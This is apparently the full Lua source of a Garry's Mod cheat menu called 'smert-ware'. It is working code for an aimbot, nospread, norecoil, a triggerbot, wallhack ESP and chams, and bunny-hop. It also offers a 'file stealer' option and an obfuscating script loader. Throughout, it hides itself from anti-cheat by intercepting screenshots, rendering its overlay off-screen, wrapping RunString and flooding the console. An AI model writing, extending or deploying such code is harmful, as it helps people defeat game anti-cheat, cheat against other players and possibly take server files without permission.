sw.addOpt( "AIM", "cb", { text = "No Recoil", desc = "Enable aim norecoil", click = function(bool) sw.cfg["aim"]["norecoil"]=bool end, cfg = sw.cfg["aim"]["norecoil"] }) sw.addOpt( "AIM", "cb", { text = "No Spread", desc = "Enable aim nospread", click = function(bool) sw.cfg["aim"]["nospread"]=bool end, cfg = sw.cfg["aim"]["nospread"] }) sw.addOpt( "AIM", "bind", { set = sw.cfg["aim"]["key"], desc = "aim key", bind = function(k) sw.cfg["aim"]["key"]=k end }) sw.addOpt("AIM", "line", { text = "distance", min = 10, max = 10000, onset = function(a,b) sw.cfg["aim"]["dist"]=b end }) sw.addOpt( "AIM", "NULL",{}) sw.addOpt( "AIM", "cb", { text = "Trigger", desc = "auto shot if player on crosshair", click = function(bool) sw.cfg["aim"]["trigger"]=bool end, cfg = sw.cfg["aim"]["trigger"] }) -- sw.addOpt( "misc", "cb", { text = "Msg's on screen", desc = "msg on screen", set = sw.cfg["msgs"], click = function(bool) sw.cfg["msgs"]=bool end, cfg = sw.cfg["msgs"] }) sw.addOpt( "misc", "cb", { text = "Bhop", desc = "auto jump", click = function(bool) sw.cfg["bhop"]=bool end, cfg = sw.cfg["bhop"] }) -- sw.addOpt( "misc", "cb", { -- text = "damage log", -- desc = "log damages/kills on log", -- click = function(bool) -- sw.cfg["logs"]["dam/kill"]=bool -- end, -- cfg = sw.cfg["logs"]["dam/kill"] -- }) sw.addOpt( "misc", "button", { text = "Unload", desc = "unload cheat", click = function(bool) sw.unload() end }) -- sw.addOpt( "misc", "button", { -- text = "Reload", -- desc = "unload cheat", -- click = function(bool) -- -- sw.unload() -- sw.create(false) -- end -- }) sw.addOpt( "misc", "button", { text = "clear log", desc = "clear all smert ware msg's", click = function(bool) sw.msgP.scrl:Clear() end }) sw.addOpt( "misc", "button", { text = "file stealer[beta]", desc = "u can steal files", click = function(bool) if sw.filesteal:IsVisible() then sw.filesteal:Hide() else sw.filesteal:Show() end end }) sw.addOpt( "misc", "cb", { text = "panic", set = sw.cfg["panic"], click = function(bool) sw.cfg["panic"]=bool end, cfg = sw.cfg["panic"] }) sw.addOpt( "misc", "bind", { set = sw.cfg["keys"]["panic"], desc = "bind for panic", bind = function(k) sw.cfg["keys"]["panic"]=k end }) sw.addOpt( "misc", "cb", { text = "Watermark", set = sw.cfg["wm"], click = function(bool) sw.cfg["wm"]=bool end, cfg = sw.cfg["panic"] }) sw.addOpt( "misc", "select", { text = "Watermark animation", set = { pulse="", static="" }, click = function(ind,text,data) sw.cfg["wm_anim"]=data end }) sw.addOpt( "misc", "NULL", {}) sw.addOpt( "misc", "button", { text = "V Update custom logo V", desc = "update logo from url", click = function() local URL = sw.getOpt("misc","custom logo"):GetText() if URL == "" then sw.cfg["logo"]="data/lua/sw.png" return end sw.DownloadImg(URL, "custom", true) if file.Find("lua/custom.png","DATA") then sw.cfg["logo"]="data/lua/custom.png" end end }) sw.addOpt( "misc", "enter txt", { bg = "https://cheat.smert-ware.xyz/_/other/logo.png", -- bg = "url", desc = "url custom logo\n300x300", id = "custom logo" }) -- sw.loader_.init() sw.addOpt( "glua loader", "button", { text = "Code editor", desc = "show/hide glua loader", click = sw.loader_.open }) sw.addOpt( "glua loader", "button", { text = "Run script", desc = "Run code from editor", click = sw.loader_.run }) sw.addOpt( "glua loader", "button", { text = "Obfuscate", desc = "Obfuscate script", click = function() sw.msg("[glua] obfuscate script: ".. sw.loader.code:GetText(), Color(100,100,0)) sw.loader.code:SetText( sw.loader_.obf(sw.loader.code) ) end }) sw.addOpt( "glua loader", "button", { text = "Copy code", desc = "Copy script", click = function() SetClipboardText(sw.loader.code:GetText()) sw.msg("[glua] copy script: ".. sw.loader.code:GetText(), Color(100,100,0)) end }) sw.addOpt( "glua loader", "button", { text = "From file", desc = "Copy script from file\nPath: *gmod path*/garrysmod/lua\nEx.: *gmod path*/garrysmod/lua/sw.lua", click = function() local path_ = vgui.Create("sw_frame", sw.main) path_:SetSizable(false) path_:SetSize(300,80) path_:Center() path_:SetTitle("script from file") path_.txt = vgui.Create("DTextEntry", path_) path_.txt:Dock(TOP) path_.txt:DockMargin(3,0,3,3) path_.but = vgui.Create("sw_but", path_) path_.but:Dock(TOP) path_.but:DockMargin(3,0,3,3) path_.but:SetText("Load") path_.but.DoClick = function() if not file.IsDir("lua", "DATA") then file.CreateDir("lua") end if file.Exists("lua/".. path_.txt:GetText(), "DATA") then sw.loader.code:SetText(file.Read("lua/".. path_.txt:GetText(), "DATA") .."\n\n--cheat.smert-ware.xyz") sw.loader:Show() sw.msg("[glua] load script: data/lua/".. path_.txt:GetText(), Color(100,100,0)) end path_:Close() end function path_.txt:GetAutoComplete( text ) local awfaw = {} for _, script in ipairs( file.Find("lua/*", "DATA") ) do if string.StartWith( script, text ) then table.insert( awfaw, script ) end end return awfaw end path_:MakePopup() -- sw.loader_.open() end }) sw.addOpt( "about", "html", { url = "https://cheat.smert-ware.xyz/about", full= true }) -- sw.addOpt("visual", "cb", { text = "enable", click = function(b) sw.cfg["visual"]["enable"]=b end, cfg = sw.cfg["visual"]["enable"] }) sw.addOpt("visual", "NULL", {}) sw.addOpt("visual", "cb", { text = "crosshair", click = function(b) sw.cfg["visual"]["crosshair"]=b end, cfg = sw.cfg["visual"]["crosshair"] }) sw.addOpt("visual", "cb", { text = "fov", click = function(b) sw.cfg["fov"]=b end, cfg = sw.cfg["fov"] }) sw.addOpt("visual", "line", { text = "fov", min = 30, max = 160, onset = function(a,b) sw.cfg["visual"]["fov"]=b end }) sw.addOpt("visual", "text", { text = "ESP" }) sw.addOpt("visual", "line", { text = "distance", min = 100, max = 10000, onset = function(a,b) sw.cfg["visual"]["distance"]=b end }) sw.addOpt("visual", "cb", { text = "only on crosshair", click = function(b) sw.cfg["visual"]["only_cross"]=b end }) sw.addOpt("visual", "cb_col", { text = "box", click = function(b) sw.cfg["visual"]["box"]=b end, color = { default = sw.cfg["col"]["name"], change = function(e) sw.cfg["col"]["name"]=e end }, cfg = sw.cfg["visual"]["box"] }) sw.addOpt("visual", "cb", { text = "name", click = function(b) sw.cfg["visual"]["name"]=b end, color = { default = sw.cfg["col"]["name"], change = function(e) sw.cfg["col"]["name"]=e end } }) sw.addOpt("visual", "cb_col", { text = "team", click = function(b) sw.cfg["visual"]["team"]=b end, cfg = sw.cfg["visual"]["team"] }) sw.addOpt("visual", "cb_col", { text = "usergroup", desc = "player rank", click = function(b) sw.cfg["visual"]["usergroup"]=b end, color = { default = sw.cfg["col"]["ranks"], change = function(e) sw.cfg["col"]["ranks"]=e end }, cfg = sw.cfg["visual"]["usergroup"] }) sw.addOpt("visual", "cb_col", { text = "health bar", click = function(b) sw.cfg["visual"]["hp"]=b end, color = { default = sw.cfg["col"]["hp"], change = function(e) sw.cfg["col"]["hp"]=e end }, cfg = sw.cfg["visual"]["hp"] }) sw.addOpt("visual", "text", { text = "CHAMS" }) sw.addOpt("visual", "cb_col", { text = "chams", click = function(b) sw.cfg["visual"]["chams"]["enable"]=b end, color = { default = sw.cfg["col"]["chams"]["vis"], change = function(e) sw.cfg["col"]["chams"]["vis"]=e end }, cfg = sw.cfg["visual"]["chams"]["enable"] }) sw.addOpt("visual", "cb_col", { text = "chams ignore wall", click = function(b) sw.cfg["visual"]["chams"]["wall"]=b end, color = { default = sw.cfg["col"]["chams"]["invis"], change = function(e) sw.cfg["col"]["chams"]["invis"]=e end }, cfg = sw.cfg["visual"]["chams"]["wall"] }) sw.addOpt( "visual", "select", { text = "chams type", set = { [0]="", [1]="" }, click = function(ind,text,data) sw.cfg["visual"]["chams"]["type"]=data end }) -- sw.addOpt( "cfg", "button", { text = "save", click = function() if not file.IsDir("lua", "DATA") then file.CreateDir("lua") end if not file.IsDir("lua/cfgs", "DATA") then file.CreateDir("lua/cfgs") end file.Write("lua/cfgs/sw.json", util.TableToJSON(sw.cfg, true)) sw.msg("cfg saved", Color(0,150,0), true) end }) sw.addOpt( "cfg", "button", { text = "load", click = function() if file.Find("lua/cfgs/sw.json","DATA") then sw.cfg=util.JSONToTable(file.Read("lua/cfgs/sw.json")) sw.msg("cfg loaded", Color(0,100,0),true) sw.refresh() end end }) -- sw.addOpt( "cfg", "cb", { -- text = "autoload", -- set = sw.auto_load_cfg(), -- click = function(bool) -- if not file.IsDir("lua", "DATA") then -- file.CreateDir("lua") -- end -- if not file.IsDir("lua/cfgs", "DATA") then -- file.CreateDir("lua/cfgs") -- end -- file.Write("lua/cfgs/al.json", util.TableToJSON({autoload=bool}, true)) -- end -- }) -- sw.hooks={} sw.addHook = function(a,b) _G["hook"]["Add"](a,"Sw_",b) table.insert(sw.hooks, a) end local z_cd_ok_da_ok = false sw.addHook("Think", function() if input.IsKeyDown(KEY_INSERT) then if not z_cd_ok_da_ok then if sw.main:IsVisible() then sw.main:Hide() else sw.main:Show() sw.menu:MakePopup() end sw.delay(function()z_cd_ok_da_ok = true end, function()z_cd_ok_da_ok = false end, 0.3) end end -- print(input.GetKeyName(sw.cfg["keys"]["panic"])) if input.IsKeyDown(sw.cfg["keys"]["panic"]) then if not z_cd_ok_da_ok then if sw.cfg["panic"]==true then sw.cfg["panic"]=false else sw.cfg["panic"]=true end sw.delay(function()z_cd_ok_da_ok = true end, function()z_cd_ok_da_ok = false end, 0.3) end end sw.back_check() if sw and IsValid(sw.main) and sw.cfg["panic"]==true then sw.main:Hide() end end) _G["surface"]["CreateFont"]("sw.wh", { font = "Arial", size = 15, weight = 5000 }) sw.addHook("HUDShouldDraw", function(n) if n=="CHudCrosshair" and sw.cfg["visual"]["crosshair"] then return false end end) sw.chamsmat = CreateMaterial("a", "VertexLitGeneric", { ["$ignorez"] = 1, ["$model"] = 1, ["$basetexture"] = "models/debug/debugwhite", }) sw.chamsmat2 = CreateMaterial("@", "VertexLitGeneric", { ["$ignorez"] = 0, ["$model"] = 1, ["$basetexture"] = "models/debug/debugwhite", }) sw.addHook("RenderScreenspaceEffects", function(n) if sw.cfg["visual"]["enable"]and sw.cfg["panic"]==false then for k,v in pairs(player.GetAll()) do if sw.cfg["visual"]["chams"]["enable"] then if sw.cfg["visual"]["distance"]<10000 then if LocalPlayer():GetPos():Distance(v:GetPos()) > sw.cfg["visual"]["distance"] then continue end end if sw.cfg["visual"]["only_cross"] and LocalPlayer():GetEyeTrace().Entity!=v then continue end if v==LocalPlayer() then continue end if not v:Alive() then continue end cam.Start3D() if sw.cfg["visual"]["chams"]["type"]==1 then render.SuppressEngineLighting(true) else render.SuppressEngineLighting(false) end if sw.cfg["visual"]["chams"]["wall"] then render.MaterialOverride(sw.chamsmat) render.SetColorModulation(sw.cfg["col"]["chams"]["invis"].r/255, sw.cfg["col"]["chams"]["invis"].g/255, sw.cfg["col"]["chams"]["invis"].b/255) v:DrawModel() end render.SetColorModulation(sw.cfg["col"]["chams"]["vis"].r/255, sw.cfg["col"]["chams"]["vis"].g/255, sw.cfg["col"]["chams"]["vis"].b/255) render.MaterialOverride(sw.chamsmat2) v:DrawModel() cam.End3D() end end end end) sw.DownloadImg("https://media.discordapp.net/attachments/824664319819907102/851599548077441024/afawfawf.png", "crosshair") local renderpanic = function(eee) if sw.cfg["panic"] then return end eee=eee or 1 sw.delay(function()sw.cfg["panic"]=true end, function()sw.cfg["panic"]=false end, eee) end local addESPText=function(text,storona,color,num,pos,w,h) if storona == "left" then draw.SimpleText(text, "sw.wh", pos.x - w / 2-7,pos.y-h+(10*num.left), color, TEXT_ALIGN_RIGHT) return num.left+1 end if storona == "top" then draw.SimpleText(text, "sw.wh", pos.x - w / 2,pos.y-h-20-(10*num.top), color) return num.top+1 end end local red=Color(255,0,0) sw.addHook("ggg.gg", function() if sw.cfg["panic"]==false then if sw.cfg["wm"]==true then surface.SetDrawColor(color_white) surface.SetMaterial(Material(sw.cfg["logo"])) local aye=50 if sw.cfg["wm_anim"]=="pulse" then aye = 50+math.sin(CurTime())*10 end surface.DrawTexturedRect(10,10,aye,aye) end if sw.cfg["visual"]["enable"]==true then if sw.cfg["visual"]["crosshair"] then surface.SetDrawColor( HSVToColor( ( CurTime() * 200) % 360, 1, 1 ) ) surface.SetMaterial(Material("data/lua/crosshair.png")) surface.DrawTexturedRectRotated(ScrW()/2, ScrH()/2, 44, 44, ((CurTime() * 200) % 360) ) end for k,v in pairs(player.GetAll()) do if v==LocalPlayer() then continue end if not v:Alive() then continue end if sw.cfg["visual"]["only_cross"] and LocalPlayer():GetEyeTrace().Entity!=v then continue end if sw.cfg["visual"]["distance"]<10000 then if LocalPlayer():GetPos():Distance(v:GetPos()) > sw.cfg["visual"]["distance"] then continue end end local point1 = v:GetPos() - Vector(0, 0, 5) local point2 = v:GetPos() + Vector(0, 0, 70) local pos = point1:ToScreen() local pos2 = point2:ToScreen() local h = pos.y - pos2.y local w = h / 2.2 local text_num = {top=0, left=0, right=0, down=0} local targ=(input.IsButtonDown(sw.cfg["aim"]["key"]) and sw.cfg["aim"]["enable"]) and ((IsValid(sw.aim_targ) and (sw.aim_targ==v and true or false) or false) and true or false) or false if sw.cfg["visual"]["box"]==true then local c = targ and red or sw.cfg["col"]["box"] surface.SetDrawColor(c) surface.DrawOutlinedRect(pos.x - w / 2,pos.y-h,w,h,2) end if sw.cfg["visual"]["name"] then text_num.top=addESPText(v:Name(),"top",sw.cfg["col"]["name"],text_num,pos,w,h) end if sw.cfg["visual"]["team"] then text_num.top=addESPText(team.GetName(v:Team()),"top",team.GetColor(v:Team()),text_num,pos,w,h) end if sw.cfg["visual"]["usergroup"] then text_num.left=addESPText(v:GetUserGroup(),"left",sw.cfg["col"]["ranks"],text_num,pos,w,h) end if targ then text_num.left=addESPText("AIM TARGET","left",red,text_num,pos,w,h) end if sw.cfg["visual"]["hp"] then surface.SetDrawColor( sw.cfg["col"]["hp"].r, sw.cfg["col"]["hp"].g, sw.cfg["col"]["hp"].b, 30) surface.DrawRect(pos.x - w / 2-3, pos.y-h,3,h) -- surface.SetDrawColor(sw.cfg["col"]["hp"]) local e = (v:Health() / v:GetMaxHealth())*h>=h and h or (v:Health() / v:GetMaxHealth())*h surface.DrawRect(pos.x - w / 2-3, pos.y-h,3,e) text_num.left=addESPText(v:Health() .."/".. v:GetMaxHealth() .."hp","left",sw.cfg["col"]["hp"],text_num,pos,w,h) end -- text_num.left=addESPText("TEST","left",sw.cfg["col"]["box"],text_num,pos,w,h) end end end end ) sw.addHook("CalcView", function( ply, pos, angles, fov ) if sw.cfg["panic"] then return end if sw.cfg["fov"] == false then return end local view = { -- origin = pos - ( angles:Forward() * 100 ), -- angles = angles, fov = sw.cfg["visual"]["fov"], drawviewer = false } return view end) local t = CurTime() sw.addHook("Tick", function() if sw.cfg["aim"]["trigger"] then if t>CurTime() then return end local look = LocalPlayer():GetEyeTrace().Entity if look:IsValid() and look:IsPlayer() then local gun = LocalPlayer():GetActiveWeapon() if gun:Clip1() <= 0 then t=CurTime()+3 sw.msg("trigger: ammo is nil", Color(70,20,20), true) return end LocalPlayer():ConCommand("+attack") timer.Simple(.01, function() LocalPlayer():ConCommand("-attack") if sw.cfg["aim"]["notify"] then sw.msg("trigger trying to fire / target: ".. look:Name() .."(".. look:SteamID() ..")", Color(20,20,20), true) end end) t=CurTime()+.01 end end if (input.IsButtonDown(KEY_F12) and !sw.cfg["panic"]) then renderpanic(.5) sw.msg("f12 screenshot",Color(100,0,0),true) end if (input.IsButtonDown(KEY_F5) and !sw.cfg["panic"]) then renderpanic(.5) sw.msg("f5 screenshot",Color(100,0,0),true) end end) sw.aim_targ=nil local pm = FindMetaTable("Player") local vm = FindMetaTable("Vector") local em = FindMetaTable("Entity") local cm = FindMetaTable("CUserCmd") local wm = FindMetaTable("Weapon") local am = FindMetaTable("Angle") local function d(self,ply)return self:GetPos():Distance(ply:GetPos()) end local function FixMovement(pCmd) local vec = Vector(cm.GetForwardMove(pCmd), cm.GetSideMove(pCmd), 0) local vel = math.sqrt(vec.x*vec.x + vec.y*vec.y) local mang = vm.Angle(vec) local yaw = cm.GetViewAngles(pCmd).y + mang.y if (((cm.GetViewAngles(pCmd).p+90)%360) > 180) then yaw = 180 - yaw end yaw = ((yaw + 180)%360)-180 pCmd:SetForwardMove(math.cos(math.rad(yaw)) * vel) pCmd:SetSideMove(math.sin(math.rad(yaw)) * vel) end local function GetPos(v) local eyes = v:LookupAttachment("eyes"); if(!eyes) then return( util.LocalToWorld(v, v:OBBCenter()) ); end local pos = v:GetAttachment(eyes); if(!pos) then return( util.LocalToWorld(v, v:OBBCenter()) ); end return(pos.Pos); end local function Valid(v) local ply=LocalPlayer() if(!v || !em.IsValid(v) || v == ply || em.Health(v) < 1 || em.IsDormant(v) || pm.Team(v) == 1002) then return false end local tr = {start = em.EyePos(ply),endpos = GetPos(v),mask = MASK_SHOT,filter = {ply, v},}; local wep = ply:GetActiveWeapon() if(util.TraceLine(tr).Fraction == 1) then return true end return false end local function gettarget() local dists = {} local dists2 = {} local x, y = ScrW(), ScrH() local AngA, AngB = 0 local p = LocalPlayer() for k, v in next, player.GetAll() do if(!Valid(v)) then continue end if(!v:Alive()) then continue end if(d(p,v)>sw.cfg["aim"]["dist"])then continue end if(v==p) then continue end local EyePos = v:EyePos():ToScreen() dists[#dists + 1] = {math.Dist(x / 2, y / 2, EyePos.x, EyePos.y), v, d(p,v)} end table.sort(dists, function(a, b) return(a[3] < b[3])--(a[1] < b[1]) end) return dists[1] && dists[1][2] || nil end -- ну это пиздец local o=2^31; local p=2^32; local lololo={0xd76aa478,0xe8c7b756,0x242070db,0xc1bdceee,0xf57c0faf,0x4787c62a,0xa8304613,0xfd469501,0x698098d8,0x8b44f7af,0xffff5bb1,0x895cd7be,0x6b901122,0xfd987193,0xa679438e,0x49b40821,0xf61e2562,0xc040b340,0x265e5a51,0xe9b6c7aa,0xd62f105d,0x02441453,0xd8a1e681,0xe7d3fbc8,0x21e1cde6,0xc33707d6,0xf4d50d87,0x455a14ed,0xa9e3e905,0xfcefa3f8,0x676f02d9,0x8d2a4c8a,0xfffa3942,0x8771f681,0x6d9d6122,0xfde5380c,0xa4beea44,0x4bdecfa9,0xf6bb4b60,0xbebfbc70,0x289b7ec6,0xeaa127fa,0xd4ef3085,0x04881d05,0xd9d4d039,0xe6db99e5,0x1fa27cf8,0xc4ac5665,0xf4292244,0x432aff97,0xab9423a7,0xfc93a039,0x655b59c3,0x8f0ccc92,0xffeff47d,0x85845dd1,0x6fa87e4f,0xfe2ce6e0,0xa3014314,0x4e0811a1,0xf7537e82,0xbd3af235,0x2ad7d2bb,0xeb86d391,0x67452301,0xefcdab89,0x98badcfe,0x10325476} local function awfawfawf(i) if i>o then return i-p end return i end local a={fix=awfawfawf,ct=lololo} local cones={} local function PredictSpread(ucmd, ang) local ply=LocalPlayer() local cfg_nospread=sw.cfg["aim"]["nospread"] local cfg_norecoil=sw.cfg["aim"]["norecoil"] if (!IsValid(ply:GetActiveWeapon())or nil)then return am.Forward(ang); end local w=ply:GetActiveWeapon():GetClass() local cone=ply:GetActiveWeapon().CurCone local base=ply:GetActiveWeapon().Base local selfff=ply:GetActiveWeapon() if(!w or !selfff or !cfg_nospread) then return am.Forward(ang); end if cone then -- print"gay2" math.randomseed(ucmd:CommandNumber()) if cfg_norecoil then return(ang-ply:GetPunchAngle()-Angle(math.Rand(-cone,cone),math.Rand(-cone,cone),0)*25):Forward() else return(ang-Angle(math.Rand(-cone,cone),math.Rand(-cone,cone),0)*25):Forward() end end return am.Forward(ang); end -------------------------------------------------------------------------------------- local function Autofire(ucmd) local ply=LocalPlayer() if(pm.KeyDown(ply, 1)) then cm.SetButtons(ucmd, bit.band( cm.GetButtons(ucmd), _G["bit"]["bnot"]( 1 ) ) ); else cm.SetButtons(ucmd, bit.bor( cm.GetButtons(ucmd), 1 ) ); end end local function aim(ucmd) local ply=LocalPlayer() if(!sw.cfg["aim"]["enable"]) then return end sw.aim_targ=gettarget() local target=sw.aim_targ if(target && input.IsKeyDown(sw.cfg["aim"]["key"]))then -- print(target) if ply:IsTyping()then return false end if (!IsValid(ply:GetActiveWeapon()))then return false end if ply:GetActiveWeapon():Clip1()==0 or ply:GetActiveWeapon():Clip1()==-1 then return end local pos = GetPos(target) - ply:EyePos() local ang = vm.Angle( PredictSpread(ucmd, vm.Angle(pos)));--Angle(vm.Angle(pos)); ucmd:SetViewAngles(ang) if sw.cfg["aim"]["silent"] then FixMovement(ucmd) end if sw.cfg["aim"]["autofire"] then Autofire(ucmd) end end end sw.addHook("CreateMove", function(cmd) local ply = LocalPlayer() aim(cmd) if (not sw.cfg["panic"]) and sw.cfg["bhop"] and (LocalPlayer():GetMoveType() != MOVETYPE_NOCLIP) and (LocalPlayer():GetMoveType()!=MOVETYPE_LADDER) and ply:Alive() then if not ply:OnGround()and cmd:KeyDown(IN_JUMP) then cmd:SetButtons(bit.band( cmd:GetButtons(),_G["bit"]["bn".."ot"](IN_JUMP))) if true then if cmd:GetMouseX()>1 or cmd:GetMouseX()<-1 then cmd:SetSideMove( cmd:GetMouseX() > 1 and 400 or -400 ) else cmd:SetForwardMove(5850/ply:GetVelocity():Length2D()) cmd:SetSideMove((cmd:CommandNumber()%2==0)and-400 or 400) end elseif cmd:KeyDown(IN_JUMP)then cmd:SetForwardMove(10000) end end end end) _G["concommand"]["Add"]("panica", function() renderpanic(1) end) -- local shit = render function render.Capture(...) _G["render"]["Capture"](...) renderpanic(1) end local runstr = RunString RunString = function(...) runstr(...) if RIP==false then sw.msg("RunString: ".. ..., Color(0,0,0),true) end end -- это UC и мне похуй local fakeRT = GetRenderTarget( "fakeRT" .. os.time(), ScrW(), ScrH() ) sw.addHook( "RenderScene", function( vOrigin, vAngle, vFOV ) local view = { x = 0, y = 0, w = ScrW(), h = ScrH(), dopostprocess = true, origin = vOrigin, angles = vAngle, fov = vFOV, drawhud = true, drawmonitors = true, drawviewmodel = true } render.RenderView( view ) render.CopyTexture( nil, fakeRT ) cam.Start2D() hook.Run( "ggg.gg" ) cam.End2D() render.SetRenderTarget( fakeRT ) return true end ) sw.addHook( "ShutDown", function() render.SetRenderTarget() end ) for z=1,100 do print(string.rep("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", 9999)) end sw.msg("full loaded", Color(160,0,0), true) end timer.Simple(.1,function() sw.create(false) end) -- local PANEL = {} PANEL.URL = "http://cheat.smert-ware.xyz/lua_editor" PANEL.COMPILE = "C" local javascript_escape_replacements = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'", } function PANEL:Init() self.Code = "" self.ErrorPanel = self:Add("DButton") self.ErrorPanel:SetFont('BudgetLabel') self.ErrorPanel:SetTextColor(Color(255,255,255)) self.ErrorPanel:SetText("") self.ErrorPanel:SetTall(0) self.ErrorPanel.DoClick = function() self:GotoErrorLine() end self.ErrorPanel.DoRightClick = function(self) SetClipboardText(self:GetText()) end self.ErrorPanel.Paint = function(self,w,h) surface.SetDrawColor(255,50,50) surface.DrawRect(0,0,w,h) end self:StartHTML() end function PANEL:Think() if self.NextValidate && self.NextValidate < CurTime() then self:ValidateCode() end end function PANEL:StartHTML() self.HTML = self:Add("DHTML") self:AddJavascriptCallback("OnCode") --self:AddJavascriptCallback("OnLog") self.HTML:OpenURL(self.URL) self.HTML:RequestFocus() end function PANEL:ReloadHTML() self.HTML:OpenURL(self.URL) end function PANEL:JavascriptSafe(str) str = str:gsub(".",javascript_escape_replacements) str = str:gsub("\226\128\168","\\\226\128\168") str = str:gsub("\226\128\169","\\\226\128\169") return str end function PANEL:CallJS(JS) self.HTML:Call(JS) end function PANEL:AddJavascriptCallback(name) local func = self[name] self.HTML:AddFunction("gmodinterface",name,function(...) func(self,HTML,...) end) end function PANEL:OnCode(_,code) self.NextValidate = CurTime() + 0.2 self.Code = code end function PANEL:OnLog(_,...) Msg("Editor: ") print(...) end function PANEL:SetCode(code) self.Code = code self:CallJS('SetContent("' .. self:JavascriptSafe(code) .. '");') end function PANEL:GetCode(nofull) return nofull and self.Code or [[ local me=Entity(]]..LocalPlayer():EntIndex()..[[) ]]..self.Code end function PANEL:GetCodeStr() return self.Code end function PANEL:SetGutterError(errline,errstr) self:CallJS("SetErr('" .. errline .. "','" .. self:JavascriptSafe(errstr) .. "')") end function PANEL:GotoLine(num) self:CallJS("GotoLine('" .. num .. "')") end function PANEL:ClearGutter() self:CallJS("ClearErr()") end function PANEL:GotoErrorLine() self:GotoLine(self.ErrorLine || 1) end function PANEL:SetError(err) if !IsValid(self.HTML) then self.ErrorPanel:SetText("") self:ClearGutter() return end local tall = 0 if err then local line,err = string.match(err,self.COMPILE .. ":(%d*):(.+)") if line && err then tall = 20 self.ErrorPanel:SetText((line && err) && ("Line " .. line .. ": " .. err) || err || "") self.ErrorLine = tonumber(string.match(err," at line (%d)%)") || line) || 1 self:SetGutterError(self.ErrorLine,err) end else self.ErrorPanel:SetText("") self:ClearGutter() end local wide = self:GetWide() local tallm = self:GetTall() self.ErrorPanel:SetPos(0,tallm - tall) self.ErrorPanel:SetSize(wide,tall) self.HTML:SetSize(wide,tallm - tall) end function PANEL:ValidateCode() local time = SysTime() local code = self:GetCode() self.NextValidate = nil if !code || code == "" then self:SetError() return end local errormsg = CompileString(code,self.COMPILE,false) time = SysTime() - time if type(errormsg) == "string" then self:SetError(errormsg) elseif time > 0.25 then self:SetError("Compiling took too long. (" .. math.Round(time * 1000) .. ")") else self:SetError() end end function PANEL:PerformLayout(w,h) local tall = self.ErrorPanel:GetTall() self.ErrorPanel:SetPos(0,h - tall) self.ErrorPanel:SetSize(w,tall) self.HTML:SetSize(w,h - tall) end function PANEL:GetText() return self:GetCode(true) end function PANEL:SetText(txt) self:SetCode(txt) end vgui.Register("sw_glua",PANEL,"EditablePanel")